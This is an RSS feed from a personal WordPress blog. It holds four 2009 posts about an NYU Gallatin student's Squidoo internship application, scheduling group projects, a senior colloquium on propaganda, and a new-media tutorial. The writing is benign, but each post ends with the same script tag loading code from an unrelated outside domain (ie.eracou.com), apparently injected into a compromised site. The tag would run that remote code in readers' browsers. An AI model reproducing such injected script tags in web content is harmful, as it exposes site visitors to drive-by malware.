<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jed Cohen &#187; gallatin</title>
	<atom:link href="http://jedcohen.com/tag/gallatin/feed/" rel="self" type="application/rss+xml" />
	<link>http://jedcohen.com</link>
	<description>A Few Thoughts</description>
	<lastBuildDate>Fri, 25 Jun 2010 18:25:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How Do You Do, Squidoo?</title>
		<link>http://jedcohen.com/how-do-you-do-squidoo/</link>
		<comments>http://jedcohen.com/how-do-you-do-squidoo/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 03:05:45 +0000</pubDate>
		<dc:creator>Jed</dc:creator>
				<category><![CDATA[social media]]></category>
		<category><![CDATA[careerealism]]></category>
		<category><![CDATA[gallatin]]></category>
		<category><![CDATA[internship]]></category>
		<category><![CDATA[squidoo]]></category>
		<category><![CDATA[virtual internship]]></category>

		<guid isPermaLink="false">http://jedcohen.com/?p=278</guid>
		<description><![CDATA[One of the pretty very interesting people I follow on Twitter is Susan Villas Lewis.  I started following her because someone (I forget who) tweeted about her job search.  Instead of going out and submitting resumes, Susan decided to hire a boss.  Which I think is awesome.  It&#8217;s an amazing, creative spin on the often [...]]]></description>
			<content:encoded><![CDATA[<p>One of the <span style="text-decoration: line-through;">pretty</span> very interesting people I follow on Twitter is <a href="http://twitter.com/SusanVLewis">Susan Villas Lewis</a>.  I started following her because someone (I forget who) tweeted about her job search.  Instead of going out and submitting resumes, <a href="http://main.susanhiresaboss.com/">Susan decided to hire a boss</a>.  Which I think is awesome.  It&#8217;s an amazing, creative spin on the often frustrating job hunt and something I wish I had thought of myself &#8211; although I don&#8217;t have anywhere near the kind of qualifications Susan has.  Anyway, a few days ago she tweeted about this <a href="http://www.squidoo.com/squidoo-intenship">internship</a> at <a href="http://www.squidoo.com">Squidoo</a> with <a href="http://www.squidoo.com/lensmasters/MeganCasey">Megan Casey</a>, the Squidoo Editor-in-Chief.  Seeing as to how my <a href="http://www.jedcohen.com/twinterns-anonymous">internship</a> with <a href="http://www.careerealism.com">Careerealism</a> is ending soon, I&#8217;ve decided to go ahead and apply.</p>
<p>You know, it&#8217;s kind of funny that through my college career, when people often intern everywhere, I basically worked in one place.  Now that I&#8217;ve graduated, I&#8217;m applying for internships even with a full time job.</p>
<p>But that&#8217;s beside the point.  The point is that the application process is to create a Squidoo lens featuring what you&#8217;ve done.  So I did.  It&#8217;s all about my undergraduate degree, and it&#8217;s kind of a chronological walk through my experience at <a href="http://www.nyu.edu/gallatin">Gallatin</a>.  <a href="http://www.squidoo.com/a-gallatin-concentration">Check it out</a> (although some of the content was featured here, so it may be a bit of a repeat).</p>
<p>I&#8217;ve been working on it for the last few days, and it was an interesting experience.  Any Squidoo lens consists of a series of modules, and you can mix and match modules to create the layout you want.  It&#8217;s an interesting system, kind of a mixture of blogging and outside sources of content.  I was able to tie in videos, photos, and Amazon listings into the lens, and it&#8217;s that last bit that is particularly interesting.</p>
<p>Squidoo&#8217;s revenue is split, 45% to the company, 5% to charity, and 50% to the writer.  And it&#8217;s across your lens, so it includes Amazon referrals and Google ad revenue.  I like that they let you donate everything to charity (which is what I&#8217;ve done).  I also see the potential for spam &#8211; don&#8217;t you?</p>
<p>Overall, creating the lens was quite a fascinating and reflective experience, even if I&#8217;m not selected for the internship.  I also wonder how many people have joined Squidoo in hopes of landing a position (by the way, Megan commented on the internship announcement saying they&#8217;ve already received 50 submissions, so this ought to be interesting), so from that perspective alone I find this interesting.</p>
<p>Do you use Squidoo?  If so, how?  I&#8217;m going to start working on another lens soon, but I need some ideas.  Leave a comment and let me know what you think I should write on!<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jedcohen.com/how-do-you-do-squidoo/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>The Dynamics of Scheduling</title>
		<link>http://jedcohen.com/dynamics-scheduling/</link>
		<comments>http://jedcohen.com/dynamics-scheduling/#comments</comments>
		<pubDate>Sat, 06 Jun 2009 15:11:13 +0000</pubDate>
		<dc:creator>Jed</dc:creator>
				<category><![CDATA[school]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[doodle]]></category>
		<category><![CDATA[gallatin]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[group meetings]]></category>
		<category><![CDATA[Individuals]]></category>
		<category><![CDATA[schedule]]></category>
		<category><![CDATA[second life]]></category>
		<category><![CDATA[stern]]></category>
		<category><![CDATA[telepresence]]></category>
		<category><![CDATA[timeshifting]]></category>
		<category><![CDATA[transaction costs]]></category>

		<guid isPermaLink="false">http://jedcohen.wordpress.com/?p=22</guid>
		<description><![CDATA[One of the common assignments during NYU Stern undergraduate classes is some kind of group project in the hopes that repeated group work will better prepare you for the corporate world.  Which makes sense.  It also allowes students to work on a more meaningful, larger project over the course of one semester than they would have been [...]]]></description>
			<content:encoded><![CDATA[<p>One of the common assignments during <a href="http://www.stern.nyu.edu/">NYU Stern</a> undergraduate classes is some kind of group project in the hopes that repeated group work will better prepare you for the corporate world.  Which makes sense.  It also allowes students to work on a more meaningful, larger project over the course of one semester than they would have been able to complete by themselves &#8211; such as <a href="http://pages.stern.nyu.edu/~jschmit/Fall%2007/C55.0064_Douglas.pdf">developing an entire international marketing plan</a> or <a href="http://pages.stern.nyu.edu/~jschmit/Spring08/C55.0060.pdf">creating a marketing strategy for a new product from scratch</a>.  It&#8217;s also an opportunity to meet some people you might not have met otherwise. Yet for Stern students (and those of us non-Stern students lucky enough to beg/borrow/steal our way into Stern classes), these group projects come with one big disadvantage &#8211; having to schedule seemingly endless group meetings.<span id="more-22"></span>Just to give you a little background &#8211; every <a href="http://www.nyu.edu/academics/schools.html">school within NYU</a> has different procedures for things like the number of credits per course and the number of classes you can take outside of whatever school you&#8217;re enrolled in.  <a href="http://nyu.edu/gallatin/">Gallatin</a> is all about creating your own course of study, so the later requirements are pretty thin.  And because I was shaping a concentration around marketing, I took a lot of Stern classes; my transcript actually tells me I took 28 out of the possible 32 Stern credits (I certainly wasn&#8217;t counting).  Stern classes are generally two, three or four credits, and while the normal course load is 16 credits per semester, you can take up 18 if you&#8217;re feeling motivated.  So if you spend some time looking through class listings, your schedule could easily get a bit convoluted.  My personal best was six classes in those 18 credits (two two-credit, two three-credit and two four-credit classes spread across three different schools).</p>
<p>So now let&#8217;s set the scene.  It&#8217;s sometime during the second half of the semester, and all of your group projects have kicked into gear.  For each class you&#8217;re looking through secondary sources, maybe sending out some surveys, maybe putting together a mockup of whatever it is the project is about.  You&#8217;re probably starting to write the final report.  You&#8217;re definitely <a href="http://jedcohen.com/slide-trackers-and-organizational-communication/">putting together some kind of presentation</a>.  It&#8217;s also probably a good idea to actually go to all of your classes, not to mention your internship or job, and also try to have some kind of social life (wait, what&#8217;s that again?).</p>
<p>This is all generally doable.  Right up until someone says during class &#8220;We should probably meet to discuss [insert some part of the project here].&#8221;  Because now you&#8217;re not just juggling your schedule but also everyone else&#8217;s.  If you&#8217;re lucky, the professor has cancelled a few classes and you&#8217;ve got your meeting time.  But chances are, he or she hasn&#8217;t, as that would decrease the amount of time they had to &#8220;impart their wisdom upon you&#8221; &#8211; plus part of the corporate world is working out scheduling conflicts and consulting with colleagues while getting the rest of your work done.  So now you&#8217;re all standing around after the lecture as the next class files into the room, smartphones and/or planners out, trying to figure out a meeting time (it&#8217;s actually worse if you&#8217;re trying to do this over e-mail or text message).</p>
<p>My <a href="http://w4.stern.nyu.edu/management/syllabi/Fall2008/MOA.C50.0001.SAMPLE.pdf">Management and Organization Analysis</a> professor called the difficulties associated with scheduling coordination costs.  As more people are involved, coordination costs increase.  In other words, it&#8217;s harder to schedule a ten person group than a three person group &#8211; and trust me, I&#8217;ve had to do both.  This could be related to individuals rearranging their schedule, or it could be because of the costs associated with communicating information to group members who couldn&#8217;t be there.  If you search Wikipedia for coordination costs, you&#8217;ll actually end up at the entry for &#8220;<a href="http://en.wikipedia.org/wiki/Transaction_cost">transaction costs</a>&#8221; instead.  While the entry doesn&#8217;t actually define coordination costs (<a href="http://en.wikipedia.org/wiki/Coordination_cost">it just links to a blank page instead while using a completely different definition</a>), it started me thinking.  Given the ways that technological developments have changed the way we communicate, what can they do for future classes of students faced with the same tasks I was?</p>
<ul>
<li>The most obvious role that technology can play is to make it easier to schedule meetings.  There&#8217;s at least one website that can do that &#8211; <a href="http://www.doodle.com/">Doodle</a> (I actually really started using this during my last semester).  Doodle lets you create a poll with dates and times, users check off when they can attend, and you end up with a nice chart showing which times work for which people.  Finding a place to meet is considerably harder&#8230;&#8230;but that&#8217;s what you get for going to school in the middle of Manhattan.</li>
<li>Technology can help there too though.  We can video conference instead of sit in the same room, or meet in <a href="http://secondlife.com/">Second Life</a> instead of real life (never actually tried this), or substitute our physical presence with <a href="http://en.wikipedia.org/wiki/Telepresence">telepresence</a>.  This doesn&#8217;t do much to address scheduling issues, but it can reduce the time and energy costs associated with getting to a physical meeting, not to mention the monetary costs if travel are involved.</li>
<li>What new media and Internet services can also do is change the way we expect to work together.  I&#8217;m thinking specifically of cloud computing here, but there are a lot of potential sources of change.  <a href="http://www.google.com/apps/intl/en/business/collaboration.html">Collaborative services like Google Apps</a> could allow us to <a href="http://en.wikipedia.org/wiki/Timeshifting">timeshift</a> group work like TiVo did for television.  Students won&#8217;t be using their Blackberrys and iPhones to check their calendars when someone proposes meeting &#8211; they&#8217;ll just jump online instead and use any number of digital collaboration tools.  Maybe they&#8217;ll post links to research or work on a draft of their report or annotate a completed presentation.  Maybe they&#8217;ll collaboratively create surveys and send them to their social networks.  Or maybe they&#8217;ll synthesize trending topics and comments into a market research report for use in their project.</li>
</ul>
<p>These are just a few ideas I&#8217;m throwing out.  I&#8217;m sure I&#8217;ve read some of these elsewhere, not that I know where right now.  What is perhaps most important out of all of this is that students are going to be able to explore these collaborative technologies and take them beyond the hallowed halls of their academic institutions.  And maybe then they&#8217;ll make their way into the hallowed boardrooms of the corporate world.</p>
<p>Of course, none of these tools will keep you from doing most of the work for your group &#8211; but that&#8217;s another post entirely (you&#8217;ll just have to check back for that one).<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jedcohen.com/dynamics-scheduling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Role of Propaganda in Modern Democracy (aka My Colloquium)</title>
		<link>http://jedcohen.com/the-role-of-propaganda-in-modern-democracy/</link>
		<comments>http://jedcohen.com/the-role-of-propaganda-in-modern-democracy/#comments</comments>
		<pubDate>Sat, 30 May 2009 15:20:15 +0000</pubDate>
		<dc:creator>Jed</dc:creator>
				<category><![CDATA[psychology]]></category>
		<category><![CDATA[school]]></category>
		<category><![CDATA[colloquium]]></category>
		<category><![CDATA[decision making]]></category>
		<category><![CDATA[gallatin]]></category>
		<category><![CDATA[heuristics]]></category>
		<category><![CDATA[nyu]]></category>
		<category><![CDATA[propaganda]]></category>
		<category><![CDATA[rationale]]></category>
		<category><![CDATA[stern]]></category>

		<guid isPermaLink="false">http://jedcohen.wordpress.com/?p=19</guid>
		<description><![CDATA[So school&#8217;s out; I&#8217;ve graduated.  Yipee.  This has naturally led me to think about quite a few things and to reflect upon some of my experiences at NYU.  I&#8217;ve written before on the wide range of classes I&#8217;ve taken and some of the opportunities afforded to me by my academic program at the Gallatin School of [...]]]></description>
			<content:encoded><![CDATA[<p>So school&#8217;s out; I&#8217;ve graduated.  Yipee.  This has naturally led me to think about quite a few things and to reflect upon some of my experiences at NYU.  I&#8217;ve written before on <a href="http://jedcohen.com/new-media-new-politics-and-the-future-of-democracy/">the wide range of classes I&#8217;ve taken and some of the opportunities afforded to me by my academic program</a> at the <a href="http://www.nyu.edu/gallatin/index.html">Gallatin School of Individualized Study</a>.  One of the few degree requirements (and as such one of the few guaranteed shared experiences among the students) is the <a href="http://www.nyu.edu/gallatin/current/ba/colloquium.html">colloquium</a>.  The colloquium is Gallatin&#8217;s senior capstone, a two hour discussion on a topic of the students choice with three faculty members.  It is something that students look upon with a bit of dread, and it is a bit daunting - it is rare for a student&#8217;s academic career to hinge on a single event like the colloquium (not that many people fail, but it is still stressful).</p>
<p><span id="more-19"></span></p>
<p>Anyway, the first step in the colloquium process is to assemble a <a href="http://www.nyu.edu/gallatin/current/ba/colloquium-booklist.html">book list and rationale</a> around the topic (which may or may not be related to the student&#8217;s <a href="http://www.nyu.edu/gallatin/prospective/ba/examples.html">concentration</a>, or area of study).  You can read my rationale and book list at the end of this entry.</p>
<p>Now I had at some point read about 3/4 of the books on my book list, so the next month or so was spent reading the ones I hadn&#8217;t and brushing up on older ones.  At the end of my review, I wrote anywhere from a few sentences to one page on all of my books that I decided to bring in with me &#8211; a lot better than bringing all 20 of my books with me to my colloquium.</p>
<p>My colloquium took place on April 8, 2009 at 2 p.m. in a little conference room at Gallatin&#8217;s home, <a href="http://maps.google.com/maps?f=q&amp;source=s_q&amp;hl=en&amp;geocode=&amp;q=715+Broadway+New+York,+NY+10003&amp;sll=40.729291,-73.993714&amp;sspn=0.008797,0.019269&amp;ie=UTF8&amp;ll=40.729942,-73.993714&amp;spn=0.008797,0.019269&amp;z=16&amp;iwloc=A">715 Broadway</a>.  It was a really interesting experience.  We only got through six or seven of the books (which is expected), but it was a really satisfying conversation nonetheless.  Ultimately I ended up theorizing that a possible role of propaganda in modern democracy could be to overcome flaws in our decision making that arise from <a href="http://en.wikipedia.org/wiki/Heuristics#Psychology">psychological heuristics</a> and other behavioral quirks (see <a href="http://www.ted.com/index.php/talks/dan_ariely_asks_are_we_in_control_of_our_own_decisions.html">Dan Ariely&#8217;s TED Talk &#8220;Are We In Control Of Our Own Decisions?&#8221;</a> for some examples) &#8211;  which I didn&#8217;t really even mention in my rationale, but studied in a class at <a href="http://www.stern.nyu.edu/">Stern</a> called &#8220;Decision-Making Strategies in Marketing and Management&#8221; (also known as &#8220;Judgement and Decision-Making&#8221; &#8211; here&#8217;s an <a href="http://pages.stern.nyu.edu/~jkruger/B70.2335_Kruger.pdf">old syllabus</a>).</p>
<p>Overall, my colloquium was quite enjoyable and something which I actually wouldn&#8217;t mind repeating.  It would be interesting to one day further explore these topics, especially as more and more research is performed across a variety of fields relating to this topic and other areas of decision-making.</p>
<p>Now if you&#8217;re interested, you can read my original rationale and book list:</p>
<p><div id="ipaper15918747" class="simpler-ipaper-embed"></div>
<script type="text/javascript">
iPaper_embed('15918747', 'key-14v48qfvwlajulv1sa5g', '600', '450');
</script><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jedcohen.com/the-role-of-propaganda-in-modern-democracy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New Media, New Politics and the Future of Democracy</title>
		<link>http://jedcohen.com/new-media-new-politics-and-the-future-of-democracy/</link>
		<comments>http://jedcohen.com/new-media-new-politics-and-the-future-of-democracy/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 14:02:19 +0000</pubDate>
		<dc:creator>Jed</dc:creator>
				<category><![CDATA[school]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[gallatin]]></category>
		<category><![CDATA[nyu]]></category>
		<category><![CDATA[steinhardt]]></category>
		<category><![CDATA[stern]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wagner]]></category>

		<guid isPermaLink="false">http://jedcohen.wordpress.com/?p=10</guid>
		<description><![CDATA[Over the course of my college career, I&#8217;ve taken classes across NYU; I&#8217;ve studied marketing in the Stern School of Business, politics in the College of Arts and Sciences, communication theory in the Steinhardt School of Culture, Education, and Human Development, and public service in the Wagner School of Public Service. But quite possibly one [...]]]></description>
			<content:encoded><![CDATA[<p>Over the course of my college career, I&#8217;ve taken classes across NYU; I&#8217;ve studied marketing in the Stern School of Business, politics in the College of Arts and Sciences, communication theory in the Steinhardt School of Culture, Education, and Human Development, and public service in the Wagner School of Public Service. But quite possibly one of the most intriguing academic opportunities I&#8217;ve had has been the chance to take a number of tutorials within Gallatin. Tutorials are group independent projects &#8211; two to five students will spend the semester working together and with a professor of their choice to examine an issue or topic they find interesting. It&#8217;s a pretty unique opportunity to study almost anything you want to. During my time at Gallatin, I&#8217;ve had the opportunity to take three tutorials. The first two took place during my junior year; they were focused on social marketing, and ultimately led to the creation of &#8220;Are You Sustainable?,&#8221; a pilot project designed to promote environmental sustainability at NYU. The project ultimately fell apart for a variety of reasons, but it was quite an interesting experince nonetheless.</p>
<p>The third tutorial I&#8217;ve participated in has taken place during this semester. It&#8217;s title is the rather abmbitious &#8220;New Politics, New Media, and the Future of Democracy&#8221; (then again the first two were the equally ambitious &#8220;Advertising Democracy I and II). We&#8217;ve been focusing on the role of the Internet and other information and communication technologies (ICT) on politics, and over the course of the semester we&#8217;ve examined a number of diverse topics including the role of new media during the 2004 Howard Dean presidential campaign and President Obama&#8217;s campaign (and his first 100 days in office), network theory, and the role of ICT in civil conflict.  Anyway, the whole point of this post is to discuss the class website, <a href="http://newmediatutorial.wordpress.com">http://newmediatutorial.wordpress.com</a> - it&#8217;s the place to go to read some of our work and take a look at what we&#8217;ve been working on.  Also, if you go back far enough, you can even see some of videos taken from class discussions at the beginning of the semester.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jedcohen.com/new-media-new-politics-and-the-future-of-democracy/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
